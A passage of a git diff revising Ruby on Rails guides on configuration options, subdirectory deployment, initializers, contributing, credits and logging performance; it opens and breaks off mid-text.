occur. The default value is `true`. + +* `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`. + +* `config.active_record.attribute_types_cached_by_default` sets the attribute types that `ActiveRecord::AttributeMethods` will cache by default on reads. The default is `[:datetime, :timestamp, :time, :date]`. + +* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is true. The MySQL adapter adds one additional configuration option: @@ -296,11 +318,11 @@ The schema dumper adds one additional configuration option: * `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes. -* `config.action_controller.relative_url_root` can be used to tell Rails that you are deploying to a subdirectory. The default is `ENV['RAILS_RELATIVE_URL_ROOT']`. +* `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`. * `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`. -* `config.action_controller.action_on_unpermitted_params` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments. +* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments. ### Configuring Action Dispatch @@ -318,6 +340,18 @@ The schema dumper adds one additional configuration option: * `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`. +* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults +to `'http authentication'`. + +* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value. +Defaults to `'signed cookie'`. + +* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt +value. Defaults to `'encrypted cookie'`. + +* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed +encrypted cookies salt value. Defaults to `'signed encrypted cookie'`. + * `ActionDispatch::Callbacks.before` takes a block of code to run before the request. * `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`. @@ -421,13 +455,13 @@ There are a few configuration options available in Active Support: ### Configuring a Database -Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default: +Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default: * The `development` environment is used on your development/local computer as you interact manually with the application. * The `test` environment is used when running automated tests. * The `production` environment is used when you deploy your application for the world to use. -TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below. +TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below. #### Configuring an SQLite3 Database @@ -525,10 +559,47 @@ Change the username and password in the `development` section as appropriate. By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments. -Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server just by create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there. +Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there. + +That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc. -That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc. +### Deploy to a subdirectory (relative url root) + +By default Rails expects that your application is running at the root +(eg. `/`). This section explains how to run your application inside a directory. + +Let's assume we want to deploy our application to "/app1". Rails needs to know +this directory to generate the appropriate routes: + +```ruby +config.relative_url_root = "/app1" +``` + +alternatively you can set the `RAILS_RELATIVE_URL_ROOT` environment +variable. + +Rails will now prepend "/app1" when generating links. + +#### Using Passenger + +Passenger makes it easiy to run your application in a subdirectory. You can find +the relevant configuration in the +[passenger manual](http://www.modrails.com/documentation/Users%20guide%20Apache.html#deploying_rails_to_sub_uri). + +#### Using a Reverse Proxy + +TODO + +#### Considerations when deploying to a subdirectory + +Deploying to a subdirectory in production has implications on various parts of +Rails. + +* development environment: +* testing environment: +* serving static assets: +* asset pipeline: Rails Environment Settings -------------------------- @@ -537,7 +608,7 @@ Some parts of Rails can also be configured externally by supplying environment v * `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under. -* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you deploy your application to a subdirectory. +* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you [deploy your application to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). * `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application. @@ -564,7 +635,7 @@ Rails has 5 initialization events which can be hooked into (listed in the order * `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment. -* `after_initialize`: Run directly after the initialization of the application, but before the application initializers are run. +* `after_initialize`: Run directly after the initialization of the application, after the application initializers in `config/initializers` are run. To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass: @@ -590,17 +661,17 @@ WARNING: Some parts of your application, notably routing, are not yet set up at ### `Rails::Railtie#initializer` -Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `initialize_whiny_nils` initializer from Active Support: +Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `set_helpers_path` initializer from Action Controller: ```ruby -initializer "active_support.initialize_whiny_nils" do |app| - require 'active_support/whiny_nil' if app.config.whiny_nils +initializer "action_controller.set_helpers_path" do |app| + ActionController::Helpers.helpers_path = app.helpers_paths end ``` The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer _after_. -Initializers defined using the `initializer` method will be ran in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods. +Initializers defined using the `initializer` method will be run in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods. WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order. @@ -620,7 +691,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack. -* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer — which runs only if `cache_classes` is set to `false` — uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. +* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. * `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them. @@ -628,20 +699,6 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request. -* `active_support.initialize_whiny_nils` Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as: - - ``` - Called id for nil, which would mistakenly be 4 — if you really wanted the id of nil, use object_id - ``` - - And: - - ``` - You have a nil object when you didn't expect it! - You might have expected an instance of Array. - The error occurred while evaluating nil.each - ``` - * `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values. * `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC". @@ -652,9 +709,9 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through. -* `action_controller.logger` Sets `ActionController::Base.logger` — if it's not already set — to `Rails.logger`. +* `action_controller.logger` Sets `ActionController::Base.logger` - if it's not already set - to `Rails.logger`. -* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` — if it's not already set — to `Rails.cache`. +* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` - if it's not already set - to `Rails.cache`. * `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through. @@ -662,7 +719,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`. -* `active_record.logger` Sets `ActiveRecord::Base.logger` — if it's not already set — to `Rails.logger`. +* `active_record.logger` Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`. * `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through. @@ -672,7 +729,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`. -* `action_mailer.logger` Sets `ActionMailer::Base.logger` — if it's not already set — to `Rails.logger`. +* `action_mailer.logger` Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`. * `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through. @@ -702,7 +759,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde * `ensure_autoload_once_paths_as_subset` Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised. -* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be ran per request in development, or before the first request in production. +* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production. * `add_builtin_route` If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application. @@ -729,8 +786,19 @@ development: timeout: 5000 ``` -Since the connection pooling is handled inside of ActiveRecord by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit. +Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit. Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue. +If you try to use more connections than are available, Active Record will block +and wait for a connection from the pool. When it cannot get connection, a timeout +error similar to given below will be thrown. + +```ruby +ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it: +``` + +If you get the above error, you might want to increase the size of connection +pool by incrementing the `pool` option in `database.yml` + NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections. diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md index 0be9bb1ced..814237ba22 100644 --- a/guides/source/contributing_to_ruby_on_rails.md +++ b/guides/source/contributing_to_ruby_on_rails.md @@ -11,7 +11,7 @@ After reading this guide, you will know: * How to contribute to the Ruby on Rails documentation. * How to contribute to the Ruby on Rails code. -Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation — all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches. +Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches. -------------------------------------------------------------------------------- @@ -26,16 +26,18 @@ NOTE: Bugs in the most recent released version of Ruby on Rails are likely to ge If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.) -At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself — and others — to replicate the bug and figure out a fix. +At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix. Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment. -### Create a Self-Contained gist for Active Record Issues +### Create a Self-Contained gist for Active Record and Action Controller Issues -If you are filing a bug report for Active Record, please use -[this template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) +If you are filing a bug report, please use +[Active Record template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) or +[Action Controller template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb) if the bug is found in a published gem, and -[this template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) +[Active Record template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) or +[Action Controller template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb) if the bug happens in the master branch. ### Special Treatment for Security Issues @@ -44,9 +46,28 @@ WARNING: Please do not report security vulnerabilities with public GitHub issue ### What about Feature Requests? -Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed. - -If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the [rails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require. +Please don't put "feature request" items into GitHub Issues. If there's a new +feature that you want to see added to Ruby on Rails, you'll need to write the +code yourself - or convince someone else to partner with you to write the code. +Later in this guide you'll find detailed instructions for proposing a patch to +Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you +can expect it to be marked "invalid" as soon as it's reviewed. + +Sometimes, the line between 'bug' and 'feature' is a hard one to draw. +Generally, a feature is anything that adds new behavior, while a bug is +anything that fixes already existing behavior that is misbehaving. Sometimes, +the core team will have to make a judgement call. That said, the distinction +generally just affects which release your patch will get in to; we love feature +submissions! They just won't get backported to maintenance branches. + +If you'd like feedback on an idea for a feature before doing the work for make +a patch, please send an email to the [rails-core mailing +list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You +might get no response, which means that everyone is indifferent. You might find +someone who's also interested in building that feature. You might get a "This +won't be accepted." But it's the proper place to discuss new ideas. GitHub +Issues are not a particularly good venue for the sometimes long and involved +discussions new features require. Setting Up a Development Environment ------------------------------------ @@ -172,7 +193,7 @@ After applying their branch, test it out! Here are some things to think about: Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like: <blockquote> -I like the way you've restructured that code in generate_finder_sql — much nicer. The tests look good too. +I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too. </blockquote> If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request. @@ -182,9 +203,15 @@ Contributing to the Rails Documentation Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference. -You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/lifo/docrails/translating-rails-guides). +You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/rails/docrails/translating-rails-guides). + +You can either open a pull request to [Rails](http://github.com/rails/rails) or +ask the [Rails core team](http://rubyonrails.org/core) for commit access on +[docrails](http://github.com/rails/docrails) if you contribute regularly. +Please do not open pull requests in docrails, if you'd like to get feedback on your +change, ask for it in [Rails](http://github.com/rails/rails) instead. -If you're confident about your changes, you can push them directly yourself via [docrails](https://github.com/lifo/docrails). Docrails is a branch with an **open commit policy** and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. +Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. If you are unsure of the documentation changes, you can create an issue in the [Rails](https://github.com/rails/rails/issues) issues tracker on GitHub. @@ -192,7 +219,7 @@ When working with documentation, please take into account the [API Documentation NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements. -NOTE: To help our CI servers you can add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes. +NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes. WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. @@ -214,11 +241,11 @@ $ cd rails $ git checkout -b my_new_branch ``` -It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository. +It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository. ### Write Your Code -Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with `git branch -a`). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind: +Now get busy and add or edit code. You're on your branch now, so you can write whatever you want (you can check to make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind: * Get the code right. * Use Rails idioms and helpers. @@ -232,8 +259,8 @@ workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box). As a compromise, test what your code obviously affects, and if the change is not in railties run the whole test suite of the affected component. If all is -green that's enough to propose your contribution. We have [Travis CI](https -://travis-ci.org/) as a safety net for catching unexpected breakages +green that's enough to propose your contribution. We have [Travis CI](https://travis-ci.org/rails/rails) +as a safety net for catching unexpected breakages elsewhere. TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted. @@ -254,7 +281,7 @@ Rails follows a simple set of coding style conventions: * Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks. * Follow the conventions in the source you see used already. -The above are guidelines — please use your best judgment in using them. +The above are guidelines - please use your best judgment in using them. ### Updating the CHANGELOG @@ -262,7 +289,7 @@ The CHANGELOG is an important part of every release. It keeps the list of change You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG. -A CHANGELOG entry should summarize what was changed and should end with author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry: +A CHANGELOG entry should summarize what was changed and should end with author's name and it should go on top of a CHANGELOG. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry: ``` * Summary of a change that briefly describes what was changed. You can use multiple @@ -283,7 +310,13 @@ Your name can be added directly after the last word if you don't provide any cod ### Sanity Check -You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either. +You should not be the only person who looks at the code before you submit it. +If you know someone else who uses Rails, try asking them if they'll check out +your work. If you don't know anyone else using Rails, try hopping into the IRC +room or posting about your idea to the rails-core mailing list. Doing this in +private before you push a patch out publicly is the “smoke test” for a patch: +if you can’t convince one other developer of the beauty of your code, you’re +unlikely to convince the core team either. ### Commit Your Changes @@ -327,7 +360,7 @@ TIP. Please squash your commits into a single commit when appropriate. This simp ### Update Your Branch -It’s pretty likely that other changes to master have happened while you were working. Go get them: +It's pretty likely that other changes to master have happened while you were working. Go get them: ```bash $ git checkout master @@ -397,21 +430,43 @@ $ git push origin branch_name ### Issue a Pull Request -Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner. - -Write your branch name in the branch field (this is filled with "master" by default) and press "Update Commit Range". +Navigate to the Rails repository you just pushed to (e.g. +https://github.com/your-user-name/rails) and click on "Pull Requests" seen in +the right panel. On the next page, press "New pull request" in the upper right +hand corner. -Ensure the changesets you introduced are included in the "Commits" tab. Ensure that the "Files Changed" incorporate all of your changes. +Click on "Edit", if you need to change the branches being compared (it compares +"master" by default) and press "Click to create a pull request for this +comparison". -Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission. +Ensure the changesets you introduced are included. Fill in some details about +your potential patch including a meaningful title. When finished, press "Send +pull request". The Rails core team will be notified about your submission. ### Get some Feedback -Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the [rubyonrails-core mailing list](http://groups.google.com/group/rubyonrails-core/) or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know. +Most pull requests will go through a few iterations before they get merged. +Different contributors will sometimes have different opinions, and often +patches will need revised before they can get merged. + +Some contributors to Rails have email notifications from GitHub turned on, but +others do not. Furthermore, (almost) everyone who works on Rails is a +volunteer, and so it may take a few days for you to get your first feedback on +a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such +is the open source life. + +If it's been over a week, and you haven't heard anything, you might want to try +and nudge things along. You can use the [rubyonrails-core mailing +list](http://groups.google.com/group/rubyonrails-core/) for this. You can also +leave another comment on the pull request. + +While you're waiting for feedback on your pull request, open up a few other +pull requests and give someone else some! I'm sure they'll appreciate it in +the same way that you appreciate feedback on your patches. ### Iterate as Necessary -It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem. +It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem. #### Squashing commits diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb index ff76fa2b85..7c6858fa2c 100644 --- a/guides/source/credits.html.erb +++ b/guides/source/credits.html.erb @@ -28,11 +28,11 @@ Ruby on Rails Guides: Credits <h3 class="section">Rails Guides Authors</h3> <%= author('Ryan Bigg', 'radar', 'radar.png') do %> -Ryan Bigg works as a consultant at <a href="http://rubyx.com">RubyX</a> and has been working with Rails since 2006. He's co-authoring a book called <a href="http://manning.com/katz">Rails 3 in Action</a> and he's written many gems which can be seen on <a href="https://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>. + Ryan Bigg works as the Community Manager at <a href="http://spreecommerce.com">Spree Commerce</a> and has been working with Rails since 2006. He's the author of <a href="https://leanpub.com/multi-tenancy-rails">Multi Tenancy With Rails</a> and co-author of <a href="http://manning.com/bigg2">Rails 4 in Action</a>. He's written many gems which can be seen on <a href="https://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>. <% end %> <%= author('Oscar Del Ben', 'oscardelben', 'oscardelben.jpg') do %> -Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">Github account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>. +Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">GitHub account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>. <% end %> <%= author('Frederick Cheung', 'fcheung') do %> @@ -40,7 +40,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi <% end %> <%= author('Tore Darell', 'toretore') do %> - Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no">Sneaky Abstractions</a>. + Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the Internet is his blog <a href="http://tore.darell.no">Sneaky Abstractions</a>. <% end %> <%= author('Jeff Dean', 'zilkey') do %> @@ -74,3 +74,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi <%= author('Heiko Webers', 'hawe') do %> Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back. <% end %> + +<%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %> + Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>. +<% end %> diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md index 6699098e51..226137c89a 100644 --- a/guides/source/debugging_rails_applications.md +++ b/guides/source/debugging_rails_applications.md @@ -198,7 +198,9 @@ Adding extra logging like this makes it easy to search for unexpected or unusual ### Tagged Logging -When running multi-user, multi-account applications, it’s often useful to be able to filter the logs using some custom rules. `TaggedLogging` in ActiveSupport helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. +When running multi-user, multi-account applications, it's often useful +to be able to filter the logs using some custom rules. `TaggedLogging` +in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. ```ruby logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) @@ -207,6 +209,37 @@ logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs " logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff" ``` +### Impact of Logs on Performance +Logging will always have a small impact on performance of your rails app, + particularly when logging to disk.However, there are a few subtleties: + +Using the `:debug` level will have a greater performance penalty than `:fatal`, + as a far greater number of strings are being evaluated and written to the + log output (e.g. disk). + +Another potential pitfall is that if you have many calls to `Logger` like this + in your code: + +```ruby +logger.debug "Person attributes hash: #{@person.attributes.inspect}" +``` + +In the above example, There will be a performance impact even if the allowed +output level doesn't include debug. The reason is that Ruby has to evaluate +these strings, which includes instantiating the somewhat heavy `String` object +and interpolating the variables, and which takes time. +Therefore, it's recommended to pass blocks to the logger methods, as these are +only evaluated if the output level is the same or included in the allowed level +(i.e. lazy loading). The same code rewritten would be: + +```ruby +logger.debug 